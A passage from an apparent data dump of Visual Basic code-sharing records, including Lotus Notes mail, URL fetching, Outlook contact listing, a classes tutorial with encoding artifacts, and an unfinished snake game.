FlushFileBuffers (hLogFile)\n CloseHandle (hLogFile)\n \nEnd Function\n"},{"WorldId":1,"id":31624,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11885,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13826,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34957,"LineNumber":1,"line":"Function CreateNewNotesMail(Subject As String, Body As String, SaveOnSend As Boolean, Optional sendTO As String, Optional ccTO As String, Optional bccTO As String, Optional lnLogo As Long, Optional AttachmentPath As String) As Boolean\n \n Dim ses As New NotesSession 'Notes Session\n Dim mailserver As Variant 'Variable for user's mail server\n Dim mailfile As Variant 'Variable for user's mail file\n Dim lnDatabase As Object 'Notes Database\n Dim lnDocument As Object 'Notes Document\n Dim lnRichText As Object 'Body of Document\n Dim lnAttachment As Object 'Notes Attachement\n On Error GoTo CreateNotesMail_Error\n ' --------------------------------------\n ' Create instantiation of Lotus Notes\n ' Pass Username & password\n ' You can prompt user for password\n ' using inputbox instead of hard coding\n ' password\n ' --------------------------------------\n Call ses.Initialize(\"*********\") 'Replace your email password where the ********* is.\n 'Debug.Print ses.UserName\n \n ' --------------------------------------\n ' Find out the name of the mail server\n ' Find out the name of the mail file\n ' --------------------------------------\n mailserver = ses.GETENVIRONMENTSTRING(\"Mailserver\", True)\n mailfile = ses.GETENVIRONMENTSTRING(\"Mailfile\", True)\n ' --------------------------------------\n ' Open the mail file on the mail server\n ' Create a new email document\n ' --------------------------------------\n Set lnDatabase = ses.GetDatabase(mailserver, mailfile)\n Set lnDocument = lnDatabase.CreateDocument\n Set lnRichText = lnDocument.CreateRichTextItem(\"Body\")\n \n ' --------------------------------------\n ' Fill out the email text by adding\n ' data passed to the is module\n ' --------------------------------------\n Call lnRichText.AppendText(Body & Chr(13) & Chr(13))\n With lnDocument\n .ReplaceItemValue \"SendTo\", sendTO\n .ReplaceItemValue \"CopyTo\", ccTO\n .ReplaceItemValue \"BlindCopyTo\", bccTO\n .ReplaceItemValue \"Subject\", Subject\n .ReplaceItemValue \"Logo\", \"StdNotesLtr\" & Trim$(str$(lnLogo))\n If SaveOnSend = True Then .SaveMessageOnSend = True\n End With\n ' --------------------------------------\n ' Embed the email attachment, if any\n ' --------------------------------------\n If AttachmentPath <> \"\" Then\n Set lnAttachment = lnRichText.EMBEDOBJECT(1454, \"\", AttachmentPath)\n End If\n \n lnDocument.Send False\n CreateNewNotesMail = True\n \n ' --------------------------------------\n ' Clean up the code\n ' --------------------------------------\n Set lnDatabase = Nothing\n Set lnDocument = Nothing\n Set lnAttachment = Nothing\n \nCreateNotesMail_Error:\n 'Debug.Print Err.Description\n Exit Function\n \nEnd Function"},{"WorldId":1,"id":28948,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13574,"LineNumber":1,"line":"Function stripChar(str2BStriped As String, str2Strip As String) As String\n Dim sPos As Long\n Dim newStr As String\n \n sPos = 1\n Do\n sPos = InStr(str2BStriped, str2Strip)\n If sPos > 0 Then\n newStr = newStr & Left(str2BStriped, sPos - 1)\n Else\n newStr = newStr & str2BStriped\n End If\n str2BStriped = Right(str2BStriped, Len(str2BStriped) - sPos)\n Loop Until sPos = 0\n stripChar = newStr\nEnd Function"},{"WorldId":1,"id":24698,"LineNumber":1,"line":"Function ReturnReadableChrsOnly(sString As String) As String\n Dim lCount As Long\n Dim lPoint As Long\n Dim sTmp As String\n Dim sChr As String\n lCount = Len(sString) ' Get a count of chars\n For lPoint = 1 To lCount ' Loop through that count\n sChr = Mid(sString, lPoint, 1) ' Get one chr\n Select Case Asc(sChr) ' Set a case for the ASCII value of char\n Case 32 To 126 ' Is this an Readable Char?\n sTmp = sTmp & sChr ' If yes then append to list\n End Select '┬╗Select Case Asc(sChr)\n Next '┬╗For lPoint = 1 To lCount\n ReturnReadableChrsOnly = sTmp\nEnd Function\n"},{"WorldId":1,"id":24701,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11330,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11297,"LineNumber":1,"line":"Public Function GetURL(strURLToGet As String) As String\nDim iRetVal As Integer\nDim bRetVal As Integer\nDim sBuffer As Variant\nDim sReadBuffer As String * 32767\nDim bDoLoop As Boolean\nDim sStatus As String\nDim lBytesRead As Long\nDim lBytesTotal As Long\nDim lBufferLength As Long\nDim sBuffer2 As Long\nDim lpdwError As Long\nDim lpszBuffer As String\nDim lpdwBufferLength As Long\nsBuffer = \"\"\nsBuffer2 = 0\nlBufferLength = 4\nhInternetSession = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0)\nIf hInternetSession > 0 Then\n iRetVal = InternetQueryOption(hInternetSession, INTERNET_OPTION_CONNECT_TIMEOUT, sBuffer2, lBufferLength)\n iRetVal = InternetSetOption(hInternetSession, INTERNET_OPTION_CONNECT_TIMEOUT, 2000, 4)\n iRetVal = InternetQueryOption(hInternetSession, INTERNET_OPTION_CONNECT_TIMEOUT, sBuffer2, lBufferLength)\n \n iRetVal = InternetSetOption(hInternetSession, INTERNET_OPTION_RECEIVE_TIMEOUT, 4000, 4)\n \n iRetVal = InternetQueryOption(hInternetSession, INTERNET_OPTION_RECEIVE_TIMEOUT, sBuffer2, lBufferLength)\n \n iRetVal = InternetSetOption(hInternetSession, INTERNET_OPTION_SEND_TIMEOUT, 4000, 4)\n iRetVal = InternetQueryOption(hInternetSession, INTERNET_OPTION_SEND_TIMEOUT, sBuffer2, lBufferLength)\n \n iRetVal = InternetSetOption(hInternetSession, INTERNET_OPTION_CONNECT_RETRIES, 1, 4)\n iRetVal = InternetQueryOption(hInternetSession, INTERNET_OPTION_CONNECT_RETRIES, sBuffer2, lBufferLength)\n \n iRetVal = InternetSetOption(hInternetSession, INTERNET_OPTION_DATA_SEND_TIMEOUT, 4000, 4)\n iRetVal = InternetQueryOption(hInternetSession, INTERNET_OPTION_DATA_SEND_TIMEOUT, sBuffer2, lBufferLength)\n \n iRetVal = InternetSetOption(hInternetSession, INTERNET_OPTION_DATA_RECEIVE_TIMEOUT, 4000, 4)\n iRetVal = InternetQueryOption(hInternetSession, INTERNET_OPTION_DATA_RECEIVE_TIMEOUT, sBuffer2, lBufferLength)\n hUrlFile = InternetOpenUrl(hInternetSession, strURLToGet, vbNullString, 0, INTERNET_FLAG_RELOAD, 0)\n If hUrlFile > 0 Then\n \n iRetVal = InternetSetOption(hUrlFile, INTERNET_OPTION_CONNECT_TIMEOUT, 2000, 4)\n \n bDoLoop = True\n While bDoLoop\n \n sReadBuffer = Space(32767)\n lBytesRead = 0\n \n bDoLoop = InternetReadFile(hUrlFile, sReadBuffer, Len(sReadBuffer), lBytesRead)\n \n lBytesTotal = lBytesTotal + lBytesRead\n \n sBuffer = sBuffer & Left$(sReadBuffer, lBytesRead)\n \n If Not CBool(lBytesRead) Then bDoLoop = False\n Wend\n \n End If\nEnd If\nInternetCloseHandle (hUrlFile)\nInternetCloseHandle (hInternetSession)\nhInternetSession = 0\nhUrlFile = 0\nGetURL = sBuffer\nEnd Function"},{"WorldId":1,"id":21576,"LineNumber":1,"line":"For Internet Explorer (IE) users. \nGetting tired of waiting for that PSC web page to load in IE. Have you ever noticed the status bar at the bottom of your Internet Explorer screen when viewing PSC web pages says something like downloading 1.. of 50 files. Well as it turns out IE supports this nasty RFC 2068 that limits the number of simultaneous connections to a web site making your browsing experience slow beyond belief. Well my friends you can bypass this little setting with the nice little registry addition mentioned below. The following text is taken directly from Microsoft Article ID: Q183110 \n\"WinInet will limit connections to a single HTTP 1.0 server to four simultaneous connections. Connections to a single HTTP 1.1 server will be limited to two simultaneous connections. The HTTP 1.1 specification (RFC2068) mandates the two connection limit while the four connection limit for HTTP 1.0 is a self-imposed restriction which coincides with the standard used by a number of popular Web browsers. \" \nFor those of you that tend to open 2,3 or even a dozen browser screens while looking at PSC code/articles you will love the performance hike you see by making this change. \nAs with anything you do to a computer making registry changes with regedit can be destructive so I take no responsibility if you break something. If you dont know how to use Regedit ask someone that does. \nFor those of you looking to get even more performance when browsing the PSC site see the tweaks below. I recommend using image placeholders when rendering images, which will allow the page to render much more quickly. \n<A HREF=http://support.microsoft.com/support/kb/articles/Q183/1/10.ASP>INFO: WinInet Limits Connections Per Server\n</A> \n<A HREF=http://support.microsoft.com/support/kb/articles/Q153/7/90.asp>How to Improve Browsing Performance in Internet Explorer</A>\n"},{"WorldId":1,"id":25389,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12966,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11550,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29397,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31603,"LineNumber":1,"line":"Private objApp As Outlook.Application\nPrivate objNS As Outlook.NameSpace\nPrivate objFolder As Outlook.MAPIFolder\nPrivate objItem As Outlook.ContactItem\nPrivate colAdressFolders As Collection\nSub Main()\n \n Dim lngLoop As Long\n Set objApp = New Outlook.Application\n Set objNS = objApp.GetNamespace(\"MAPI\")\n Set colAdressFolders = New Collection\n Set objFolder = objNS.Folders.GetFirst ' get root-folder\n ' recursive loop thrue all folders to collect the references to Adressbooks\n For lngLoop = 1 To objFolder.Folders.Count\n If objFolder.Folders.Item(lngLoop).DefaultItemType = olContactItem Then\n RecursiveSearch objFolder.Folders.Item(lngLoop), colAdressFolders\n End If\n Next lngLoop\n \n ' open every contact-folder and loop all entries\n For Each objFolder In colAdressFolders\n For lngLoop = 1 To objFolder.Items.Count\n Set objItem = objFolder.Items(lngLoop)\n Debug.Print objFolder.Name, objItem.FileAs\n Next lngLoop\n Next\n \nEnd Sub\nPrivate Sub RecursiveSearch(objSubFolder As Outlook.MAPIFolder, colAdrFolders As Collection)\n \nOn Error GoTo Errorhandler\nDim lngLoop As Long\n ' check for entries in this subfolder\n If objSubFolder.Items.Count > 0 Then\n 'add reference to collection\n colAdrFolders.Add objSubFolder\n End If\n ' check for subfolders\n If objSubFolder.Folders.Count > 0 Then\n For lngLoop = 1 To objSubFolder.Folders.Count\n RecursiveSearch objSubFolder.Folders.Item(lngLoop), colAdrFolders\n Next lngLoop\n End If\nExit Sub\nErrorhandler:\n MsgBox \"An unexpected error occured methode RECURSIVESEARCH\", vbCritical + vbOKOnly, \"Problem\"\n Err.Clear\nEnd Sub\n\n"},{"WorldId":1,"id":30182,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28299,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25883,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11192,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13476,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15180,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14778,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26952,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11886,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12427,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11058,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13787,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12316,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12140,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25293,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32413,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15144,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21012,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15149,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21067,"LineNumber":1,"line":"<div class=Section1>\nClasses/Collections Tutorial by Kevin Wiegand. Please download the Zip file that contains the source code if this tutorial is hard to read due to formatting problems.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nDefinitions:\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Module\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á A term\nused to describe where code is stored within Visual Basic.<span\nstyle=\"mso-spacerun: yes\">┬á The three type of modules are (1) Form\nModules, (2) Standard Modules, and (3) Class Modules.\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Standard Module\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á A type of\nModule that contains (or should contain) publically accessible code, in other\nwords, code that is available to any module.\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Class (Module)\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á A type of\nmodule that allows you to create objects that contain your customized\nproperties and methods.┬á (The Standard\nForm (Default:Form1) is actually a Class Module!)\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Object\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á An Object\nis a Control (TextBox, Label), or it can be a Variable that defines an instance\nof a Class.\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Object Oriented\nProgramming (OOP)\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Simply\nput, OOP is programming with objects.\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Collection\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á A\nCollection is simply a group of related Objects.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nWhy use Class Modules?\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Class modules, as said\nbefore, offer a very useful tool - objects.┬á\nClasses can has multiple instances of its code, and each instances\nproperties/methods belong to that instance only.┬á Standard Module code can only exist once.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nLets see an example!\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á All these definitions,\nand a short explanation of Class Modules vs Standard Modules - you need to see\ncode, right?┬á OK, start Visual Basic,\nand start a new Standard Exe Project.┬á\nAdd a Class Module.┬á Rename\nProject1 to ClassTest; Form1 to frmMain; Class1 to clsClassTest.<span\nstyle=\"mso-spacerun: yes\">┬á Paste the following code into each respective\nmodule, and then save the project:\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nfrmMain:\n***Start Copy***\n'Require Variable Declaration (I believe that VB.Net already requires\nthat you\n'declare all your variables before use - not only does this save\nmemory, but\n'it also saves you the hassle of keeping track of things!)\nOption Explicit\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n'This defines a Collection, it is empty right now, but we will fill it later\n:)\nPrivate fClassCollection As New Collection\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n'We'll use Form_Keypress instead of using a bunch of CommandButtons -\nthis is easier\n'to do for this example\nPrivate Sub Form_KeyPress(KeyAscii As Integer)\n┬á┬á┬á Select Case Chr(KeyAscii)\n┬á┬á┬á┬á┬á┬á┬á Case "a"\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á AddItemToCollection\n┬á┬á┬á┬á┬á┬á┬á Case "f"\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\nReturnNamesByFunction\n┬á┬á┬á┬á┬á┬á┬á Case "o"\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á PrintNames\n┬á┬á┬á┬á┬á┬á┬á Case "p"\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\nReturnNamesByProperty\n┬á┬á┬á┬á┬á┬á┬á Case "s"\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á ReturnNamesBySub\n┬á┬á┬á┬á┬á┬á┬á Case " "\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á ClearCollection\n┬á┬á┬á End Select\nEnd Sub\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate Sub Form_Load()\n┬á┬á┬á 'Set initial Form\nproperties, if you want, just set the properties in the Properties\n┬á┬á┬á 'Pane, and remove this code\n┬á┬á┬á Me.ScaleMode = vbPixels\n┬á┬á┬á Me.Width = Screen.Width\n┬á┬á┬á Me.Height = Screen.Height\n┬á┬á┬á Me.Move 0, 0\n┬á┬á┬á \n┬á┬á┬á 'Lets us know how many\nObjects in our Collection (should be zero right now)\n┬á┬á┬á Me.Caption = "Total\nNames in Collection is " & fClassCollection.Count\nEnd Sub\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate Sub AddItemToCollection()\n┬á┬á┬á 'This is what creates a new\ninstance of the Object 'ClassTest'\n┬á┬á┬á Dim clsNewClass As New\nclsClassTest\n┬á┬á┬á Dim strName As String\n┬á┬á┬á \n┬á┬á┬á 'This sets the Property\n'Name' for the ClassTest Object\n┬á┬á┬á clsNewClass.Name =\nInputBox("Enter a name:")\n┬á┬á┬á \n┬á┬á┬á 'This adds the newly created\nObject to the Collection\n┬á┬á┬á fClassCollection.Add\nclsNewClass\n┬á┬á┬á \n┬á┬á┬á 'You need to 'close' the new\nCollection Object in order to add another one.\n┬á┬á┬á Set clsNewClass = Nothing\n┬á┬á┬á \n┬á┬á┬á 'Lets us know how many\nObjects in our Collection\n┬á┬á┬á Me.Caption = "Total\nNames in Collection is " & fClassCollection.Count\nEnd Sub\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate Sub ClearCollection()\n┬á┬á┬á 'This creates an Object\nVariable that will hold references to the Objects in\n┬á┬á┬á 'the Collection\n┬á┬á┬á Dim Obj As Object\n┬á┬á┬á \n┬á┬á┬á For Each Obj In fClassCollection\n┬á┬á┬á┬á┬á┬á┬á 'This uses the LIFO\n(Last In First Out) method to remove each Object in the\n┬á┬á┬á┬á┬á┬á┬á 'Collection, putting in\n'1' in place of fClassCollection.Count will use the\n┬á┬á┬á┬á┬á┬á┬á 'LILO (Last In Last Out)\nmethod to remove each Object in the Collection.\n┬á┬á┬á┬á┬á┬á┬á fClassCollection.Remove\nfClassCollection.Count\n┬á┬á┬á Next Obj\n┬á┬á┬á \n┬á┬á┬á 'Lets us know how many\nObjects in our Collection (should be zero right now)\n┬á┬á┬á Me.Caption = "Total\nNames in Collection is " & fClassCollection.Count\nEnd Sub\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate Sub PrintNames()\n┬á┬á┬á 'This creates an Object\nVariable that will hold references to the Objects in\n┬á┬á┬á 'the Collection\n┬á┬á┬á Dim Obj As Object\n┬á┬á┬á \n┬á┬á┬á 'Clear the form first\n┬á┬á┬á Me.Cls\n┬á┬á┬á 'Print out a litle message\n┬á┬á┬á Me.Print "The following\n" & fClassCollection.Count & " names are in the\nCollection:" & vbCrLf\n┬á┬á┬á \n┬á┬á┬á For Each Obj In\nfClassCollection\n┬á┬á┬á┬á┬á┬á┬á 'This calls the Method\nto Print the Names currently in the Collection\n┬á┬á┬á┬á┬á┬á┬á Obj.PrintName Me\n┬á┬á┬á Next Obj\nEnd Sub\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate Sub ReturnNamesByFunction()\n┬á┬á┬á 'This creates an Object\nVariable that will hold references to the Objects in\n┬á┬á┬á 'the Collection\n┬á┬á┬á Dim Obj As Object\n┬á┬á┬á \n┬á┬á┬á For Each Obj In\nfClassCollection\n┬á┬á┬á┬á┬á┬á┬á 'This calls the Method\nto Return the Names currently in the Collection, and then\n┬á┬á┬á┬á┬á┬á┬á 'MessageBox it to you,\nnote that this is actually a function instead of a sub as\n┬á┬á┬á┬á┬á┬á┬á 'from the MsgBoxNames\nprocedure\n┬á┬á┬á┬á┬á┬á┬á MsgBox Obj.ReturnName,\nvbOKOnly + vbInformation\n┬á ┬á┬áNext Obj\nEnd Sub\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate Sub ReturnNamesByProperty()\n┬á┬á┬á 'This creates an Object\nVariable that will hold references to the Objects in\n┬á┬á┬á 'the Collection\n┬á┬á┬á Dim Obj As Object\n┬á┬á┬á \n┬á┬á┬á For Each Obj In\nfClassCollection\n┬á┬á┬á┬á┬á┬á┬á 'This calls the Method\nto Return the Names currently in the Collection, and then\n┬á┬á┬á┬á┬á┬á┬á 'MessageBox it to you,\nnote that this is actually a function instead of a sub as\n┬á┬á┬á┬á┬á┬á┬á 'from the MsgBoxNames\nprocedure\n┬á┬á┬á┬á┬á┬á┬á MsgBox Obj.Name,\nvbOKOnly + vbInformation\n┬á┬á┬á Next Obj\nEnd Sub\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPrivate Sub ReturnNamesBySub()\n┬á┬á┬á 'This creates an Object\nVariable that will hold references to the Objects in\n┬á┬á┬á 'the Collection\n┬á┬á┬á Dim Obj As Object\n┬á┬á┬á \n┬á┬á┬á For Each Obj In\nfClassCollection\n┬á┬á┬á┬á┬á┬á┬á 'This calls the Method\nto MessageBox out the Names currently in the Collection\n┬á┬á┬á┬á┬á┬á┬á Obj.MsgBoxName\n┬á┬á┬á Next Obj\nEnd Sub\n***End Copy***\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nclsClassTest:\n***Start Copy***\nOption Explicit\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n'These are internal variables that any one particular instance of this\nClass can see\n'This holds the Name Property\nPrivate fstrName As String\n'These hold the Max and Min sizes for the GenerateRandomText Function\nPrivate Const fcMin = 5\nPrivate Const fcMax = 10\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n'This sets the Name Property, it is based off of the Private 'fstrName'\nVariable\nProperty Let Name(ByVal strName As String)\n┬á┬á┬á If strName = ""\nThen\n┬á┬á┬á┬á┬á┬á┬á 'This will call the\nPrivate Sub to create a random jumbled string for the\n┬á┬á┬á┬á┬á┬á┬á ''Name' property if the\nuser add a name that is empty\n┬á┬á┬á┬á┬á┬á┬á Randomize Timer\n┬á┬á┬á┬á┬á┬á┬á GenerateRandomText (Rnd\n* (fcMax - fcMin)) + fcMin\n┬á┬á┬á Else\n┬á┬á┬á┬á┬á┬á┬á fstrName = strName\n┬á┬á┬á End If\nEnd Property\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n'This returns the Name Property, it also must be based on the Private\n'fstrName' Variable\nProperty Get Name() As String\n┬á┬á┬á Name = fstrName\nEnd Property\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n'This is a simple Private Procedure contained in this Class.<span\nstyle=\"mso-spacerun: yes\">┬á Any new instance of this class\n'cannot specifically call this Procedure, it can only be called by\nitself\nPrivate Sub GenerateRandomText(ByVal intSize As Integer)\n┬á┬á┬á Dim lngCounter As Long\n┬á┬á┬á Dim strTemp As String\n┬á┬á┬á Dim bytRnd As Byte\n┬á┬á┬á \n┬á┬á┬á Randomize Timer\n┬á┬á┬á \n┬á┬á┬á For lngCounter = 1 To\nintSize\n┬á┬á┬á┬á┬á┬á┬á bytRnd = CByte((Rnd *\n(Asc("z") - Asc("a"))) + Asc("a"))\n┬á┬á┬á┬á┬á┬á┬á strTemp = strTemp &\nChr(bytRnd)\n┬á┬á┬á Next lngCounter\n┬á┬á┬á \n┬á┬á┬á Name = strTemp\nEnd Sub\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n'This is a simple Public Procedure contained in this Class.<span\nstyle=\"mso-spacerun: yes\">┬á Any new instance of this class\n'can specifically call this Procedure\nPublic Sub MsgBoxName()\n┬á┬á┬á MsgBox fstrName, vbOKOnly +\nvbInformation\nEnd Sub\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n'This is a simple Public Procedure contained in this Class.<span\nstyle=\"mso-spacerun: yes\">┬á Any new instance of this class\n'can specifically call this Procedure\nPublic Sub PrintName(ByVal destObj As Object)\n┬á┬á┬á 'Notice how I called the\nProperty 'Name' instead of referencing the 'fstrName' Variable\n┬á┬á┬á destObj.Print Name\nEnd Sub\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n'This is a simple Public Function contained in this Class.<span\nstyle=\"mso-spacerun: yes\">┬á Any new instance of this class\n'can specifically call this Function\nPublic Function ReturnName() As String\n┬á┬á┬á ReturnName = fstrName\nEnd Function\n***End Copy***\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nTo use this example you can:\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á type 'a' to add a name\nto the collection, leave the input box empty to create a random string\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á type 'f' to MessageBox\nthe names in the Collection, called using a Function in the Class\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á type 'o' to print the\nname in the Collection, called using a Procedure in the Class that contains a\nPrivate Procedure within the Class.\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á type 'p' to MessageBox\nthe names in the Collection, called using the Name Property in the Class\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á type 's' to MessageBox\nthe names in the Collection, called using a Procedure in the Class\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á type ' ' (spacebar) to\nclear the Collection\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nFinal Notes:\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á In this tutorial, you\nshould have learned how to create and use Class Modules.<span\nstyle=\"mso-spacerun: yes\">┬á You have learned how to create and use Class\nProperties, and you have learned how to create and use Class Methods (Methods\nas Public Procedures, Methods as Public Functions, and Methods as Private\nProcedures).┬á You have also learned how\nto use Collections.┬á You have learned\nhow to Add Objects to a Collection, and Remove Objects from a Collection, as\nwell as loop through each Object in a Collection.\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á If you find any bugs\nor problems with this tutorial, please let me know!┬á If you have anything to add or comment on, please let me\nknow!┬á If you have found this tutorial\nhelpful, please vote!┬á I can be reached\nat EinsturzendeNeubauten@hotmail.com, or visit my WebSite at\nhttp://www.geocities.com/wieganka, or my mirror site at http://4.41.60.122\n</div>"},{"WorldId":1,"id":14272,"LineNumber":1,"line":"'***********************************************\n'*This needs a Timer named Timer1 to work *\n'*Form Borderstyle needs to be 1 - Fixed Single*\n'***********************************************\n'-This is a game like snake or nibble\n'If you have any found bugs, please email me\n'jswyft@aol.com\n'You only need to add a timer, and this game\n'should work fine!\nDim x(0 To 1000) As Long, y(0 To 1000) As Long '-11 body pieces\nDim xHead As Long, yHead As Long '-the head coordinates\nDim xspeed As Long, yspeed As Long '-speed of snake\nDim fx As Long, fy As Long '-Food coordinates\nDim Length As Long '-length of body\nDim Level As Long '-level of play\nDim Points As Long '-score\nDim Lives As Long '-Number of Tries\nPrivate Sub Form_Load()\nMe.Caption = \"Snake Clone By Jason Ryczek\"\nMe.Height = 4155\nMe.Width = 3870\n'-This Project needs a timer\nTimer1.Interval = 250 'set at different intervals for different speeds\n'-Set these to form when it loads\nMe.AutoRedraw = True\nMe.ClipControls = False\nMe.ScaleMode = 3\nMe.BackColor = &HC000&\nNew_Game\nEnd Sub\nPrivate Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)\n'-This is how you move using the keyboard\nSelect Case KeyCode\n Case vbKeyUp '-key up\n If yspeed = 0 Then\n xspeed = 0\n yspeed = -5\n End If\n Case vbKeyDown '-key down\n If yspeed = 0 Then\n xspeed = 0\n yspeed = 5\n End If\n Case vbKeyRight '-key right\n If xspeed = 0 Then\n xspeed = 5\n yspeed = 0\n End If\n Case vbKeyLeft 'key left\n If xspeed = 0 Then\n xspeed = -5\n yspeed = 0\n End If\n Case vbKeyP '-This is for pausing\n If Timer1.Enabled = True Then\n Timer1.Enabled = False '-pause on\n Else\n Timer1.Enabled = True '-pause off\n End If\n Case vbKeyN\n New_Game\nEnd Select\nEnd Sub\nPrivate Sub Timer1_Timer()\nxHead = xHead + xspeed\nyHead = yHead + yspeed\nBodyCycle\nMe.Cls\nBoarder\nBodyHeadHit Length\nMe.Print \"\"\nMe.Print \" Level: \" & Level & \" Score: \" & Points & \" Lives: \" & Lives\nDrawSnake Length\nMe.DrawWidth = 4\nMe.Circle (fx, fy), 1, vbRed\nIf (xHead = fx) And (yHead = fy) Then\n Length = Length + 1\n DrawFood\n Points = Points + 10\nEnd If\nIf (Length / Level) = 10 Then\n Level = Level + 1\nEnd If\nEnd Sub\nSub BodyCycle()\nDim counter As Integer\nFor counter = 1000 To 1 Step -1\n x(counter) = x(counter - 1)\n y(counter) = y(counter - 1)\n x(0) = xHead: y(0) = yHead\nNext counter\nEnd Sub\nSub DrawSnake(ByVal Snake_Length As Long)\nDim a As Integer\nFor a = 1 To Snake_Length\n Me.DrawWidth = 6\n Me.Line (xHead, yHead)-(x(0), y(0))\n Me.Line (x(a - 1), y(a - 1))-(x(a), y(a)), QBColor(1)\n Me.DrawWidth = 1\n Me.Line (x(a - 1) + 1, y(a - 1) + 1)-(x(a) + 1, y(a) + 1), vbCyan\n Me.Line (x(a - 1), y(a - 1))-(x(a) + 1, y(a) - 1), vbYellow\n Me.DrawWidth = 4\n Me.Circle (xHead, yHead), 2, vbBlue\nNext a\nEnd Sub\nSub New_Game()\nLives = 5\nTimer1.Enabled = True\nDrawFood\nDim a As Integer\nFor a = 0 To 1000\n x(a) = Me.ScaleWidth / 2\n y(a) = Me.ScaleWidth\n xHead = Me.ScaleWidth / 2\n yHead = Me.ScaleWidth - 5\n xspeed = 0\n yspeed = -5\nNext a\nPoints = 0\nLength = 5\nLevel = 1\nEnd Sub\nSub New_Start()\nTimer1.Enabled = True\nDrawFood\nDim a As Integer\nFor a = 0 To 1000\n x(a) = Me.ScaleWidth / 2\n y(a) = Me.ScaleWidth\n xHead = Me.ScaleWidth / 